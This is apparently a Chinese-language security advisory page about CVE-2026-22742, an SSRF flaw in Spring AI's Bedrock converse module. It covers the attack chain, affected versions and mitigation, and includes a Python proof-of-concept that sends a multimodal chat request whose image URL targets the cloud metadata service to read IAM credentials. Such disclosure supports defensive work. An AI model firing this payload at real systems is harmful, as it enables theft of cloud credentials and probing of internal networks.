IPBUF安全漏洞报告
English
CVE-2026-22742 CVSS 8.6 高危

CVE-2026-22742 Spring AI SSRF漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-22742
漏洞类型
服务器端请求伪造 (SSRF)
CVSS评分
8.6 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Spring AI

相关标签

SSRFSpring AICVE-2026-22742高危漏洞服务器端请求伪造

漏洞概述

Spring AI的spring-ai-bedrock-converse组件存在服务器端请求伪造(SSRF)漏洞。该漏洞源于BedrockProxyChatModel在处理包含用户提供的媒体URL的多模态消息时,未对URL进行充分验证。攻击者可利用此漏洞诱导服务器向内网或外部非预期目标发起HTTP请求,可能导致敏感信息泄露或进一步的内网渗透。

技术细节

该漏洞位于Spring AI项目的spring-ai-bedrock-converse模块中,具体影响BedrockProxyChatModel组件。在处理包含用户提供的媒体URL的多模态消息时,系统未能对URL进行充分的安全校验。攻击者可以通过发送特制的HTTP请求,将URL指向内部网络资源(如本地回环地址、私有网段IP或云元数据服务)。由于应用服务器会代替用户去请求这些URL,攻击者可以利用此行为探测内网拓扑、读取敏感文件或对内部服务发起攻击。该漏洞无需用户交互且无需认证即可通过网络触发,具有极高的利用价值,可能导致攻击者绕过防火墙限制直接访问内网应用。

攻击链分析

STEP 1
侦察
攻击者识别出目标应用使用了存在漏洞的Spring AI版本,并确认其暴露了处理多模态消息的API接口。
STEP 2
漏洞利用
攻击者构造特制的HTTP POST请求,在消息体中包含恶意的media_url(如指向内网服务的URL),发送给BedrockProxyChatModel接口。
STEP 3
内网探测
服务器端应用在未经验证的情况下,向攻击者指定的内网地址发起HTTP请求,并将响应数据返回给攻击者或导致延迟。
STEP 4
数据窃取
攻击者根据返回的信息分析内网结构,进一步利用SSRF漏洞获取敏感的元数据或内部应用数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Target vulnerable Spring AI endpoint # Replace with actual vulnerable endpoint URL target_url = "http://vulnerable-spring-ai-app/api/chat" # Malicious payload demonstrating SSRF # Attempting to access internal metadata service (AWS Example) ssrf_payload = { "messages": [ { "role": "user", "content": [ { "type": "image_url", "image_url": { # URL pointing to internal service "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" } }, { "type": "text", "text": "Describe what you see in this image link." } ] } ], "options": { "model": "anthropic.claude-3-sonnet-20240229-v1:0" } } try: headers = {"Content-Type": "application/json"} # Send the malicious request response = requests.post(target_url, data=json.dumps(ssrf_payload), headers=headers, timeout=10) if response.status_code == 200: print("[+] SSRF Request sent successfully!") print("[+] Server response:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}")

影响范围

Spring AI 1.0.0 至 1.0.5
Spring AI 1.1.0 至 1.1.4

防御指南

临时缓解措施
建议立即升级到修复版本。如果无法立即升级,应在应用程序网关或防火墙层面实施严格的出站流量控制,禁止应用服务器访问私有IP地址段(如127.0.0.1, 192.168.x.x, 10.x.x.x)和云元数据服务地址(如169.254.169.254),以阻断SSRF攻击路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表